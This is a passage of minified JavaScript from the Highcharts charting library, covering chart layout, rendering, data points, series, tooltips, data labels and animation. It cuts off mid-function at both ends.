b=this.inverted,c=this.renderer,d=this.chartWidth,e=this.chartHeight,f=this.options.chart,g=f.spacingTop,h=f.spacingRight,i=f.spacingBottom,j=f.spacingLeft,k=this.clipOffset,m,l,p,o;this.plotLeft=m=t(this.plotLeft);this.plotTop=l=t(this.plotTop);this.plotWidth=p=q(0,t(d-m-this.marginRight));this.plotHeight=o=q(0,t(e-l-this.marginBottom));\nthis.plotSizeX=b?o:p;this.plotSizeY=b?p:o;this.plotBorderWidth=b=f.plotBorderWidth||0;this.spacingBox=c.spacingBox={x:j,y:g,width:d-j-h,height:e-g-i};this.plotBox=c.plotBox={x:m,y:l,width:p,height:o};c=ja(q(b,k[3])/2);d=ja(q(b,k[0])/2);this.clipBox={x:c,y:d,width:T(this.plotSizeX-q(b,k[1])/2-c),height:T(this.plotSizeY-q(b,k[2])/2-d)};a||n(this.axes,function(a){a.setAxisSize();a.setAxisTranslation()})},resetMargins:function(){var a=this.options.chart,b=a.spacingRight,c=a.spacingBottom,d=a.spacingLeft;\nthis.plotTop=o(this.optionsMarginTop,a.spacingTop);this.marginRight=o(this.optionsMarginRight,b);this.marginBottom=o(this.optionsMarginBottom,c);this.plotLeft=o(this.optionsMarginLeft,d);this.axisOffset=[0,0,0,0];this.clipOffset=[0,0,0,0]},drawChartBox:function(){var a=this.options.chart,b=this.renderer,c=this.chartWidth,d=this.chartHeight,e=this.chartBackground,f=this.plotBackground,g=this.plotBorder,h=this.plotBGImage,i=a.borderWidth||0,j=a.backgroundColor,k=a.plotBackgroundColor,m=a.plotBackgroundImage,\nl=a.plotBorderWidth||0,p,o=this.plotLeft,n=this.plotTop,t=this.plotWidth,q=this.plotHeight,r=this.plotBox,v=this.clipRect,u=this.clipBox;p=i+(a.shadow?8:0);if(i||j)if(e)e.animate(e.crisp(null,null,null,c-p,d-p));else{e={fill:j||S};if(i)e.stroke=a.borderColor,e[\"stroke-width\"]=i;this.chartBackground=b.rect(p/2,p/2,c-p,d-p,a.borderRadius,i).attr(e).add().shadow(a.shadow)}if(k)f?f.animate(r):this.plotBackground=b.rect(o,n,t,q,0).attr({fill:k}).add().shadow(a.plotShadow);if(m)h?h.animate(r):this.plotBGImage=\nb.image(m,o,n,t,q).add();v?v.animate({width:u.width,height:u.height}):this.clipRect=b.clipRect(u);if(l)g?g.animate(g.crisp(null,o,n,t,q)):this.plotBorder=b.rect(o,n,t,q,0,l).attr({stroke:a.plotBorderColor,\"stroke-width\":l,zIndex:1}).add();this.isDirtyBox=!1},propFromSeries:function(){var a=this,b=a.options.chart,c,d=a.options.series,e,f;n([\"inverted\",\"angular\",\"polar\"],function(g){c=aa[b.type||b.defaultSeriesType];f=a[g]||b[g]||c&&c.prototype[g];for(e=d&&d.length;!f&&e--;)(c=aa[d[e].type])&&c.prototype[g]&&\n(f=!0);a[g]=f})},render:function(){var a=this,b=a.axes,c=a.renderer,d=a.options,e=d.labels,f=d.credits,g;a.setTitle();a.legend=new rb(a,d.legend);n(b,function(a){a.setScale()});a.getMargins();a.maxTicks=null;n(b,function(a){a.setTickPositions(!0);a.setMaxTicks()});a.adjustTickAmounts();a.getMargins();a.drawChartBox();a.hasCartesianSeries&&n(b,function(a){a.render()});if(!a.seriesGroup)a.seriesGroup=c.g(\"series-group\").attr({zIndex:3}).add();n(a.series,function(a){a.translate();a.setTooltipPoints();\na.render()});e.items&&n(e.items,function(b){var d=v(e.style,b.style),f=u(d.left)+a.plotLeft,g=u(d.top)+a.plotTop+12;delete d.left;delete d.top;c.text(b.html,f,g).attr({zIndex:2}).css(d).add()});if(f.enabled&&!a.credits)g=f.href,a.credits=c.text(f.text,0,0).on(\"click\",function(){if(g)location.href=g}).attr({align:f.position.align,zIndex:8}).css(f.style).add().align(f.position);a.hasRendered=!0},destroy:function(){var a=this,b=a.axes,c=a.series,d=a.container,e,f=d&&d.parentNode;D(a,\"destroy\");za[a.index]=\nx;a.renderTo.removeAttribute(\"data-highcharts-chart\");ba(a);for(e=b.length;e--;)b[e]=b[e].destroy();for(e=c.length;e--;)c[e]=c[e].destroy();n(\"title,subtitle,chartBackground,plotBackground,plotBGImage,plotBorder,seriesGroup,clipRect,credits,pointer,scroller,rangeSelector,legend,resetZoomButton,tooltip,renderer\".split(\",\"),function(b){var c=a[b];c&&c.destroy&&(a[b]=c.destroy())});if(d)d.innerHTML=\"\",ba(d),f&&Ra(d);for(e in a)delete a[e]},isReadyToRender:function(){var a=this;return!Z&&O==O.top&&z.readyState!==\n\"complete\"||$&&!O.canvg?($?Qb.push(function(){a.firstRender()},a.options.global.canvasToolsURL):z.attachEvent(\"onreadystatechange\",function(){z.detachEvent(\"onreadystatechange\",a.firstRender);z.readyState===\"complete\"&&a.firstRender()}),!1):!0},firstRender:function(){var a=this,b=a.options,c=a.callback;if(a.isReadyToRender())a.getContainer(),D(a,\"init\"),a.resetMargins(),a.setChartSize(),a.propFromSeries(),a.getAxes(),n(b.series||[],function(b){a.initSeries(b)}),D(a,\"beforeRender\"),a.pointer=new qb(a,\nb),a.render(),a.renderer.draw(),c&&c.apply(a,[a]),n(a.callbacks,function(b){b.apply(a,[a])}),a.cloneRenderTo(!0),D(a,\"load\")}};sb.prototype.callbacks=[];var Ma=function(){};Ma.prototype={init:function(a,b,c){this.series=a;this.applyOptions(b,c);this.pointAttr={};if(a.options.colorByPoint&&(b=a.options.colors||a.chart.options.colors,this.color=this.color||b[a.colorCounter++],a.colorCounter===b.length))a.colorCounter=0;a.chart.pointCount++;return this},applyOptions:function(a,b){var c=this.series,d=\nc.pointValKey,a=Ma.prototype.optionsToObject.call(this,a);v(this,a);this.options=this.options?v(this.options,a):a;if(d)this.y=this[d];if(this.x===x&&c)this.x=b===x?c.autoIncrement():b;return this},optionsToObject:function(a){var b,c=this.series,d=c.pointArrayMap||[\"y\"],e=d.length,f=0,g=0;if(typeof a===\"number\"||a===null)b={y:a};else if(Ba(a)){b={};if(a.length>e){c=typeof a[0];if(c===\"string\")b.name=a[0];else if(c===\"number\")b.x=a[0];f++}for(;g<e;)b[d[g++]]=a[f++]}else if(typeof a===\"object\"){b=a;\nif(a.dataLabels)c._hasPointLabels=!0;if(a.marker)c._hasPointMarkers=!0}return b},destroy:function(){var a=this.series.chart,b=a.hoverPoints,c;a.pointCount--;if(b&&(this.setState(),ga(b,this),!b.length))a.hoverPoints=null;if(this===a.hoverPoint)this.onMouseOut();if(this.graphic||this.dataLabel)ba(this),this.destroyElements();this.legendItem&&a.legend.destroyItem(this);for(c in this)this[c]=null},destroyElements:function(){for(var a=\"graphic,dataLabel,dataLabelUpper,group,connector,shadowGroup\".split(\",\"),\nb,c=6;c--;)b=a[c],this[b]&&(this[b]=this[b].destroy())},getLabelConfig:function(){return{x:this.category,y:this.y,key:this.name||this.category,series:this.series,point:this,percentage:this.percentage,total:this.total||this.stackTotal}},select:function(a,b){var c=this,d=c.series,e=d.chart,a=o(a,!c.selected);c.firePointEvent(a?\"select\":\"unselect\",{accumulate:b},function(){c.selected=c.options.selected=a;d.options.data[la(c,d.data)]=c.options;c.setState(a&&\"select\");b||n(e.getSelectedPoints(),function(a){if(a.selected&&\na!==c)a.selected=a.options.selected=!1,d.options.data[la(a,d.data)]=a.options,a.setState(\"\"),a.firePointEvent(\"unselect\")})})},onMouseOver:function(a){var b=this.series,c=b.chart,d=c.tooltip,e=c.hoverPoint;if(e&&e!==this)e.onMouseOut();this.firePointEvent(\"mouseOver\");d&&(!d.shared||b.noSharedTooltip)&&d.refresh(this,a);this.setState(\"hover\");c.hoverPoint=this},onMouseOut:function(){var a=this.series.chart,b=a.hoverPoints;if(!b||la(this,b)===-1)this.firePointEvent(\"mouseOut\"),this.setState(),a.hoverPoint=\nnull},tooltipFormatter:function(a){var b=this.series,c=b.tooltipOptions,d=o(c.valueDecimals,\"\"),e=c.valuePrefix||\"\",f=c.valueSuffix||\"\";n(b.pointArrayMap||[\"y\"],function(b){b=\"{point.\"+b;if(e||f)a=a.replace(b+\"}\",e+b+\"}\"+f);a=a.replace(b+\"}\",b+\":,.\"+d+\"f}\")});return Ea(a,{point:this,series:this.series})},update:function(a,b,c){var d=this,e=d.series,f=d.graphic,g,h=e.data,i=e.chart,b=o(b,!0);d.firePointEvent(\"update\",{options:a},function(){d.applyOptions(a);V(a)&&(e.getAttribs(),f&&f.attr(d.pointAttr[e.state]));\ng=la(d,h);e.xData[g]=d.x;e.yData[g]=e.toYData?e.toYData(d):d.y;e.zData[g]=d.z;e.options.data[g]=d.options;e.isDirty=!0;e.isDirtyData=!0;b&&i.redraw(c)})},remove:function(a,b){var c=this,d=c.series,e=d.chart,f,g=d.data;Ha(b,e);a=o(a,!0);c.firePointEvent(\"remove\",null,function(){f=la(c,g);g.splice(f,1);d.options.data.splice(f,1);d.xData.splice(f,1);d.yData.splice(f,1);d.zData.splice(f,1);c.destroy();d.isDirty=!0;d.isDirtyData=!0;a&&e.redraw()})},firePointEvent:function(a,b,c){var d=this,e=this.series.options;\n(e.point.events[a]||d.options&&d.options.events&&d.options.events[a])&&this.importEvents();a===\"click\"&&e.allowPointSelect&&(c=function(a){d.select(null,a.ctrlKey||a.metaKey||a.shiftKey)});D(this,a,b,c)},importEvents:function(){if(!this.hasImportedEvents){var a=y(this.series.options.point,this.options).events,b;this.events=a;for(b in a)J(this,b,a[b]);this.hasImportedEvents=!0}},setState:function(a){var b=this.plotX,c=this.plotY,d=this.series,e=d.options.states,f=X[d.type].marker&&d.options.marker,\ng=f&&!f.enabled,h=f&&f.states[a],i=h&&h.enabled===!1,j=d.stateMarkerGraphic,k=this.marker||{},m=d.chart,l=this.pointAttr,a=a||\"\";if(!(a===this.state||this.selected&&a!==\"select\"||e[a]&&e[a].enabled===!1||a&&(i||g&&!h.enabled))){if(this.graphic)e=f&&this.graphic.symbolName&&l[a].r,this.graphic.attr(y(l[a],e?{x:b-e,y:c-e,width:2*e,height:2*e}:{}));else{if(a&&h)e=h.radius,k=k.symbol||d.symbol,j&&j.currentSymbol!==k&&(j=j.destroy()),j?j.attr({x:b-e,y:c-e}):(d.stateMarkerGraphic=j=m.renderer.symbol(k,\nb-e,c-e,2*e,2*e).attr(l[a]).add(d.markerGroup),j.currentSymbol=k);if(j)j[a&&m.isInsidePlot(b,c)?\"show\":\"hide\"]()}this.state=a}}};var R=function(){};R.prototype={isCartesian:!0,type:\"line\",pointClass:Ma,sorted:!0,requireSorting:!0,pointAttrToOptions:{stroke:\"lineColor\",\"stroke-width\":\"lineWidth\",fill:\"fillColor\",r:\"radius\"},colorCounter:0,init:function(a,b){var c,d,e=a.series;this.chart=a;this.options=b=this.setOptions(b);this.bindAxes();v(this,{name:b.name,state:\"\",pointAttr:{},visible:b.visible!==\n!1,selected:b.selected===!0});if($)b.animation=!1;d=b.events;for(c in d)J(this,c,d[c]);if(d&&d.click||b.point&&b.point.events&&b.point.events.click||b.allowPointSelect)a.runTrackerClick=!0;this.getColor();this.getSymbol();this.setData(b.data,!1);if(this.isCartesian)a.hasCartesianSeries=!0;e.push(this);this._i=e.length-1;Gb(e,function(a,b){return o(a.options.index,a._i)-o(b.options.index,a._i)});n(e,function(a,b){a.index=b;a.name=a.name||\"Series \"+(b+1)});c=b.linkedTo;this.linkedSeries=[];if(fa(c)&&\n(c=c===\":previous\"?e[this.index-1]:a.get(c)))c.linkedSeries.push(this),this.linkedParent=c},bindAxes:function(){var a=this,b=a.options,c=a.chart,d;a.isCartesian&&n([\"xAxis\",\"yAxis\"],function(e){n(c[e],function(c){d=c.options;if(b[e]===d.index||b[e]!==x&&b[e]===d.id||b[e]===x&&d.index===0)c.series.push(a),a[e]=c,c.isDirty=!0});a[e]||qa(17,!0)})},autoIncrement:function(){var a=this.options,b=this.xIncrement,b=o(b,a.pointStart,0);this.pointInterval=o(this.pointInterval,a.pointInterval,1);this.xIncrement=\nb+this.pointInterval;return b},getSegments:function(){var a=-1,b=[],c,d=this.points,e=d.length;if(e)if(this.options.connectNulls){for(c=e;c--;)d[c].y===null&&d.splice(c,1);d.length&&(b=[d])}else n(d,function(c,g){c.y===null?(g>a+1&&b.push(d.slice(a+1,g)),a=g):g===e-1&&b.push(d.slice(a+1,g+1))});this.segments=b},setOptions:function(a){var b=this.chart.options,c=b.plotOptions,d=c[this.type];this.userOptions=a;a=y(d,c.series,a);this.tooltipOptions=y(b.tooltip,a.tooltip);d.marker===null&&delete a.marker;\nreturn a},getColor:function(){var a=this.options,b=this.userOptions,c=this.chart.options.colors,d=this.chart.counters,e;e=a.color||X[this.type].color;if(!e&&!a.colorByPoint)r(b._colorIndex)?a=b._colorIndex:(b._colorIndex=d.color,a=d.color++),e=c[a];this.color=e;d.wrapColor(c.length)},getSymbol:function(){var a=this.userOptions,b=this.options.marker,c=this.chart,d=c.options.symbols,c=c.counters;this.symbol=b.symbol;if(!this.symbol)r(a._symbolIndex)?a=a._symbolIndex:(a._symbolIndex=c.symbol,a=c.symbol++),\nthis.symbol=d[a];if(/^url/.test(this.symbol))b.radius=0;c.wrapSymbol(d.length)},drawLegendSymbol:function(a){var b=this.options,c=b.marker,d=a.options.symbolWidth,e=this.chart.renderer,f=this.legendGroup,a=a.baseline,g;if(b.lineWidth){g={\"stroke-width\":b.lineWidth};if(b.dashStyle)g.dashstyle=b.dashStyle;this.legendLine=e.path([\"M\",0,a-4,\"L\",d,a-4]).attr(g).add(f)}if(c&&c.enabled)b=c.radius,this.legendSymbol=e.symbol(this.symbol,d/2-b,a-4-b,2*b,2*b).add(f)},addPoint:function(a,b,c,d){var e=this.options,\nf=this.data,g=this.graph,h=this.area,i=this.chart,j=this.xData,k=this.yData,m=this.zData,l=this.names,p=g&&g.shift||0,n=e.data;Ha(d,i);if(g&&c)g.shift=p+1;if(h){if(c)h.shift=p+1;h.isArea=!0}b=o(b,!0);d={series:this};this.pointClass.prototype.applyOptions.apply(d,[a]);j.push(d.x);k.push(this.toYData?this.toYData(d):d.y);m.push(d.z);if(l)l[d.x]=d.name;n.push(a);e.legendType===\"point\"&&this.generatePoints();c&&(f[0]&&f[0].remove?f[0].remove(!1):(f.shift(),j.shift(),k.shift(),m.shift(),n.shift()));this.getAttribs();\nthis.isDirtyData=this.isDirty=!0;b&&i.redraw()},setData:function(a,b){var c=this.points,d=this.options,e=this.chart,f=null,g=this.xAxis,h=g&&g.categories&&!g.categories.length?[]:null,i;this.xIncrement=null;this.pointRange=g&&g.categories?1:d.pointRange;this.colorCounter=0;var j=[],k=[],m=[],l=a?a.length:[],p=(i=this.pointArrayMap)&&i.length,n=!!this.toYData;if(l>(d.turboThreshold||1E3)){for(i=0;f===null&&i<l;)f=a[i],i++;if(Ca(f)){f=o(d.pointStart,0);d=o(d.pointInterval,1);for(i=0;i<l;i++)j[i]=f,\nk[i]=a[i],f+=d;this.xIncrement=f}else if(Ba(f))if(p)for(i=0;i<l;i++)d=a[i],j[i]=d[0],k[i]=d.slice(1,p+1);else for(i=0;i<l;i++)d=a[i],j[i]=d[0],k[i]=d[1]}else for(i=0;i<l;i++)if(a[i]!==x&&(d={series:this},this.pointClass.prototype.applyOptions.apply(d,[a[i]]),j[i]=d.x,k[i]=n?this.toYData(d):d.y,m[i]=d.z,h&&d.name))h[i]=d.name;this.requireSorting&&j.length>1&&j[1]<j[0]&&qa(15);fa(k[0])&&qa(14,!0);this.data=[];this.options.data=a;this.xData=j;this.yData=k;this.zData=m;this.names=h;for(i=c&&c.length||\n0;i--;)c[i]&&c[i].destroy&&c[i].destroy();if(g)g.minRange=g.userMinRange;this.isDirty=this.isDirtyData=e.isDirtyBox=!0;o(b,!0)&&e.redraw(!1)},remove:function(a,b){var c=this,d=c.chart,a=o(a,!0);if(!c.isRemoving)c.isRemoving=!0,D(c,\"remove\",null,function(){c.destroy();d.isDirtyLegend=d.isDirtyBox=!0;a&&d.redraw(b)});c.isRemoving=!1},processData:function(a){var b=this.xData,c=this.yData,d=b.length,e=0,f=d,g,h,i=this.xAxis,j=this.options,k=j.cropThreshold,m=this.isCartesian;if(m&&!this.isDirty&&!i.isDirty&&\n!this.yAxis.isDirty&&!a)return!1;if(m&&this.sorted&&(!k||d>k||this.forceCrop))if(a=i.getExtremes(),i=a.min,k=a.max,b[d-1]<i||b[0]>k)b=[],c=[];else if(b[0]<i||b[d-1]>k){for(a=0;a<d;a++)if(b[a]>=i){e=q(0,a-1);break}for(;a<d;a++)if(b[a]>k){f=a+1;break}b=b.slice(e,f);c=c.slice(e,f);g=!0}for(a=b.length-1;a>0;a--)if(d=b[a]-b[a-1],d>0&&(h===x||d<h))h=d;this.cropped=g;this.cropStart=e;this.processedXData=b;this.processedYData=c;if(j.pointRange===null)this.pointRange=h||1;this.closestPointRange=h},generatePoints:function(){var a=\nthis.options.data,b=this.data,c,d=this.processedXData,e=this.processedYData,f=this.pointClass,g=d.length,h=this.cropStart||0,i,j=this.hasGroupedData,k,m=[],l;if(!b&&!j)b=[],b.length=a.length,b=this.data=b;for(l=0;l<g;l++)i=h+l,j?m[l]=(new f).init(this,[d[l]].concat(ha(e[l]))):(b[i]?k=b[i]:a[i]!==x&&(b[i]=k=(new f).init(this,a[i],d[l])),m[l]=k);if(b&&(g!==(c=b.length)||j))for(l=0;l<c;l++)if(l===h&&!j&&(l+=g),b[l])b[l].destroyElements(),b[l].plotX=x;this.data=b;this.points=m},translate:function(){this.processedXData||\nthis.processData();this.generatePoints();for(var a=this.options,b=a.stacking,c=this.xAxis,d=c.categories,e=this.yAxis,f=this.points,g=f.length,h=!!this.modifyValue,i,j=e.series,k=j.length,m=a.pointPlacement===\"between\",a=a.threshold;k--;)if(j[k].visible){j[k]===this&&(i=!0);break}for(k=0;k<g;k++){var j=f[k],l=j.x,p=j.y,n=j.low,q=e.stacks[(p<a?\"-\":\"\")+this.stackKey];if(e.isLog&&p<=0)j.y=p=null;j.plotX=c.translate(l,0,0,0,1,m);if(b&&this.visible&&q&&q[l])n=q[l],q=n.total,n.cum=n=n.cum-p,p=n+p,i&&(n=\no(a,e.min)),e.isLog&&n<=0&&(n=null),b===\"percent\"&&(n=q?n*100/q:0,p=q?p*100/q:0),j.percentage=q?j.y*100/q:0,j.total=j.stackTotal=q,j.stackY=p;j.yBottom=r(n)?e.translate(n,0,1,0,1):null;h&&(p=this.modifyValue(p,j));j.plotY=typeof p===\"number\"&&p!==Infinity?t(e.translate(p,0,1,0,1)*10)/10:x;j.clientX=m?c.translate(l,0,0,0,1):j.plotX;j.negative=j.y<(a||0);j.category=d&&d[j.x]!==x?d[j.x]:j.x}this.getSegments()},setTooltipPoints:function(a){var b=[],c,d,e=(c=this.xAxis)?c.tooltipLen||c.len:this.chart.plotSizeX,\nf,g,h=[];if(this.options.enableMouseTracking!==!1){if(a)this.tooltipPoints=null;n(this.segments||this.points,function(a){b=b.concat(a)});c&&c.reversed&&(b=b.reverse());a=b.length;for(g=0;g<a;g++){f=b[g];c=b[g-1]?d+1:0;for(d=b[g+1]?q(0,T((f.clientX+(b[g+1]?b[g+1].clientX:e))/2)):e;c>=0&&c<=d;)h[c++]=f}this.tooltipPoints=h}},tooltipHeaderFormatter:function(a){var b=this.tooltipOptions,c=b.xDateFormat,d=this.xAxis,e=d&&d.options.type===\"datetime\",f=b.headerFormat,g;if(e&&!c)for(g in E)if(E[g]>=d.closestPointRange){c=\nb.dateTimeLabelFormats[g];break}e&&c&&Ca(a.key)&&(f=f.replace(\"{point.key}\",\"{point.key:\"+c+\"}\"));return Ea(f,{point:a,series:this})},onMouseOver:function(){var a=this.chart,b=a.hoverSeries;if(b&&b!==this)b.onMouseOut();this.options.events.mouseOver&&D(this,\"mouseOver\");this.setState(\"hover\");a.hoverSeries=this},onMouseOut:function(){var a=this.options,b=this.chart,c=b.tooltip,d=b.hoverPoint;if(d)d.onMouseOut();this&&a.events.mouseOut&&D(this,\"mouseOut\");c&&!a.stickyTracking&&(!c.shared||this.noSharedTooltip)&&\nc.hide();this.setState();b.hoverSeries=null},animate:function(a){var b=this,c=b.chart,d=c.renderer,e;e=b.options.animation;var f=c.clipBox,g=c.inverted,h;if(e&&!V(e))e=X[b.type].animation;h=\"_sharedClip\"+e.duration+e.easing;if(a)a=c[h],e=c[h+\"m\"],a||(c[h]=a=d.clipRect(v(f,{width:0})),c[h+\"m\"]=e=d.clipRect(-99,g?-c.plotLeft:-c.plotTop,99,g?c.chartWidth:c.chartHeight)),b.group.clip(a),b.markerGroup.clip(e),b.sharedClipKey=h;else{if(a=c[h])a.animate({width:c.plotSizeX},e),c[h+\"m\"].animate({width:c.plotSizeX+\n99},e);b.animate=null;b.animationTimeout=setTimeout(function(){b.afterAnimate()},e.duration)}},afterAnimate:function(){var a=this.chart,b=this.sharedClipKey,c=this.group;c&&this.options.clip!==!1&&(c.clip(a.clipRect),this.markerGroup.clip());setTimeout(function(){b&&a[b]&&(a[b]=a[b].destroy(),a[b+\"m\"]=a[b+\"m\"].destroy())},100)},drawPoints:function(){var a,b=this.points,c=this.chart,d,e,f,g,h,i,j,k,m=this.options.marker,l,n=this.markerGroup;if(m.enabled||this._hasPointMarkers)for(f=b.length;f--;)if(g=\nb[f],d=g.plotX,e=g.plotY,k=g.graphic,i=g.marker||{},a=m.enabled&&i.enabled===x||i.enabled,l=c.isInsidePlot(d,e,c.inverted),a&&e!==x&&!isNaN(e)&&g.y!==null)if(a=g.pointAttr[g.selected?\"select\":\"\"],h=a.r,i=o(i.symbol,this.symbol),j=i.indexOf(\"url\")===0,k)k.attr({visibility:l?Z?\"inherit\":\"visible\":\"hidden\"}).animate(v({x:d-h,y:e-h},k.symbolName?{width:2*h,height:2*h}:{}));else{if(l&&(h>0||j))g.graphic=c.renderer.symbol(i,d-h,e-h,2*h,2*h).attr(a).add(n)}else if(k)g.graphic=k.destroy()},convertAttribs:function(a,\nb,c,d){var e=this.pointAttrToOptions,f,g,h={},a=a||{},b=b||{},c=c||{},d=d||{};for(f in e)g=e[f],h[f]=o(a[g],b[f],c[f],d[f]);return h},getAttribs:function(){var a=this,b=a.options,c=X[a.type].marker?b.marker:b,d=c.states,e=d.hover,f,g=a.color,h={stroke:g,fill:g},i=a.points||[],j=[],k,m=a.pointAttrToOptions,l=b.negativeColor,p;b.marker?(e.radius=e.radius||c.radius+2,e.lineWidth=e.lineWidth||c.lineWidth+1):e.color=e.color||ma(e.color||g).brighten(e.brightness).get();j[\"\"]=a.convertAttribs(c,h);n([\"hover\",\n\"select\"],function(b){j[b]=a.convertAttribs(d[b],j[\"\"])});a.pointAttr=j;for(g=i.length;g--;){h=i[g];if((c=h.options&&h.options.marker||h.options)&&c.enabled===!1)c.radius=0;if(h.negative&&l)h.color=h.fillColor=l;f=b.colorByPoint||h.color;if(h.options)for(p in m)r(c[m[p]])&&(f=!0);if(f){c=c||{};k=[];d=c.states||{};f=d.hover=d.hover||{};if(!b.marker)f.color=ma(f.color||h.color).brighten(f.brightness||e.brightness).get();k[\"\"]=a.convertAttribs(v({color:h.color},c),j[\"\"]);k.hover=a.convertAttribs(d.hover,\nj.hover,k[\"\"]);k.select=a.convertAttribs(d.select,j.select,k[\"\"]);if(h.negative&&b.marker)k[\"\"].fill=k.hover.fill=k.select.fill=a.convertAttribs({fillColor:l}).fill}else k=j;h.pointAttr=k}},update:function(a,b){var c=this.chart,d=this.type,a=y(this.userOptions,{animation:!1,index:this.index,pointStart:this.xData[0]},a);this.remove(!1);v(this,aa[a.type||d].prototype);this.init(c,a);o(b,!0)&&c.redraw(!1)},destroy:function(){var a=this,b=a.chart,c=/AppleWebKit\\/533/.test(ya),d,e,f=a.data||[],g,h,i;D(a,\n\"destroy\");ba(a);n([\"xAxis\",\"yAxis\"],function(b){if(i=a[b])ga(i.series,a),i.isDirty=i.forceRedraw=!0});a.legendItem&&a.chart.legend.destroyItem(a);for(e=f.length;e--;)(g=f[e])&&g.destroy&&g.destroy();a.points=null;clearTimeout(a.animationTimeout);n(\"area,graph,dataLabelsGroup,group,markerGroup,tracker,graphNeg,areaNeg,posClip,negClip\".split(\",\"),function(b){a[b]&&(d=c&&b===\"group\"?\"hide\":\"destroy\",a[b][d]())});if(b.hoverSeries===a)b.hoverSeries=null;ga(b.series,a);for(h in a)delete a[h]},drawDataLabels:function(){var a=\nthis,b=a.options.dataLabels,c=a.points,d,e,f,g;if(b.enabled||a._hasPointLabels)a.dlProcessOptions&&a.dlProcessOptions(b),g=a.plotGroup(\"dataLabelsGroup\",\"data-labels\",a.visible?\"visible\":\"hidden\",b.zIndex||6),e=b,n(c,function(c){var i,j=c.dataLabel,k,m,l=c.connector,n=!0;d=c.options&&c.options.dataLabels;i=e.enabled||d&&d.enabled;if(j&&!i)c.dataLabel=j.destroy();else if(i){i=b.rotation;b=y(e,d);k=c.getLabelConfig();f=b.format?Ea(b.format,k):b.formatter.call(k,b);b.style.color=o(b.color,b.style.color,\na.color,\"black\");if(j)if(r(f))j.attr({text:f}),n=!1;else{if(c.dataLabel=j=j.destroy(),l)c.connector=l.destroy()}else if(r(f)){j={fill:b.backgroundColor,stroke:b.borderColor,\"stroke-width\":b.borderWidth,r:b.borderRadius||0,rotation:i,padding:b.padding,zIndex:1};for(m in j)j[m]===x&&delete j[m];j=c.dataLabel=a.chart.renderer[i?\"text\":\"label\"](f,0,-999,null,null,null,b.useHTML).attr(j).css(b.style).add(g).shadow(b.shadow)}j&&a.alignDataLabel(c,j,b,null,n)}})},alignDataLabel:function(a,b,c,d,e){var f=\nthis.chart,g=f.inverted,h=o(a.plotX,-999),a=o(a.plotY,-999),i=b.getBBox(),d=v({x:g?f.plotWidth-a:h,y:t(g?f.plotHeight-h:a),width:0,height:0},d);v(c,{width:i.width,height:i.height});c.rotation?(d={align:c.align,x:d.x+c.x+d.width/2,y:d.y+c.y+d.height/2},b[e?\"attr\":\"animate\"](d)):b.align(c,null,d);b.attr({visibility:c.crop===!1||f.isInsidePlot(h,a,g)?f.renderer.isSVG?\"inherit\":\"visible\":\"hidden\"})},getSegmentPath:function(a){var b=this,c=[],d=b.options.step;n(a,function(e,f){var g=e.plotX,h=e.plotY,\ni;b.getPointSpline?c.push.apply(c,b.getPointSpline(a,e,f)):(c.push(f?\"L\":\"M\"),d&&f&&(i=a[f-1],d===\"right\"?c.push(i.plotX,h):d===\"center\"?c.push((i.plotX+g)/2,i.plotY,(i.plotX+g)/2,h):c.push(g,i.plotY)),c.push(e.plotX,e.plotY))});return c},getGraphPath:function(){var a=this,b=[],c,d=[];n(a.segments,function(e){c=a.getSegmentPath(e);e.length>1?b=b.concat(c):d.push(e[0])});a.singlePoints=d;return a.graphPath=b},drawGraph:function(){var a=this,b=this.options,c=[[\"graph\",b.lineColor||this.color]],d=b.lineWidth,\ne=b.dashStyle,f=this.getGraphPath(),g=b.negativeColor;g&&c.push([\"graphNeg\",g]);n(c,function(c,g){var j=c[0],k=a[j];if(k)Ta(k),k.animate({d:f});else if(d&&f.length){k={stroke:c[1],\"stroke-width\":d,zIndex:1};if(e)k.dashstyle=e;a[j]=a.chart.renderer.path(f).attr(k).add(a.group).shadow(!g&&b.shadow)}})},clipNeg:function(){var a=this.options,b=this.chart,c=b.renderer,d=a.negativeColor,e,f=this.posClip,g=this.negClip;e=b.chartWidth;var h=b.chartHeight,i=q(e,h);if(d&&this.graph)d=ja(this.yAxis.len-this.yAxis.translate(a.threshold||\n0)),a={x:0,y:0,width:i,height:d},i={x:0,y:d,width:i,height:i-d},b.inverted&&c.isVML&&(a={x:b.plotWidth-d-b.plotLeft,y:0,width:e,height:h},i={x:d+b.plotLeft-e,y:0,width:b.plotLeft+d,height:e}),this.yAxis.reversed?(b=i,e=a):(b=a,e=i),f?(f.animate(b),g.animate(e)):(this.posClip=f=c.clipRect(b),this.graph.clip(f),this.negClip=g=c.clipRect(e),this.graphNeg.clip(g),this.area&&(this.area.clip(f),this.areaNeg.clip(g)))},invertGroups:function(){function a(){var a={width:b.yAxis.len,height:b.xAxis.len};n([\"group\",\n\"markerGroup\"],function(c){b[c]&&b[c].attr(a).invert()})}var b=this,c=b.chart;J(c,\"resize\",a);J(b,\"destroy\",function(){ba(c,\"resize\",a)});a();b.invertGroups=a},plotGroup:function(a,b,c,d,e){var f=this[a],g=!f,h=this.chart,i=this.xAxis,j=this.yAxis;g&&(this[a]=f=h.renderer.g(b).attr({visibility:c,zIndex:d||0.1}).add(e));f[g?\"attr\":\"animate\"]({translateX:i?i.left:h.plotLeft,translateY:j?j.top:h.plotTop,scaleX:1,scaleY:1});return f},render:function(){var a=this.chart,b,c=this.options,d=c.animation&&\n!!this.animate&&a.renderer.isSVG,e=this.visible?\"visible\":\"hidden\",f=c.zIndex,g=this.hasRendered,h=a.seriesGroup;b=this.plotGroup(\"group\",\"series\",e,f,h);this.markerGroup=this.plotGroup(\"markerGroup\",\"markers\",e,f,h);d&&this.animate(!0);this.getAttribs();b.inverted=a.inverted;this.drawGraph&&(this.drawGraph(),this.clipNeg());this.drawDataLabels();this.drawPoints();this.options.enableMouseTracking!==!1&&this.drawTracker();a.inverted&&this.invertGroups();c.clip!==!1&&!this.sharedClipKey&&!g&&b.clip(a.clipRect);\nd?this.animate():g||this.afterAnimate();this.isDirty=this.isDirtyData=!1;this.hasRendered=!0},redraw:function(){var a=this.chart,b=this.isDirtyData,c=this.group,d=this.xAxis,e=this.yAxis;c&&(a.inverted&&c.attr({width:a.plotWidth,height:a.plotHeight}),c.animate({translateX:o(d&&d.left,a.plotLeft),translateY:o(e&&e.top,a.plotTop)}));this.translate();this.setTooltipPoints(!0);this.render();b&&D(this,\"updatedData\")},setState:function(a){var 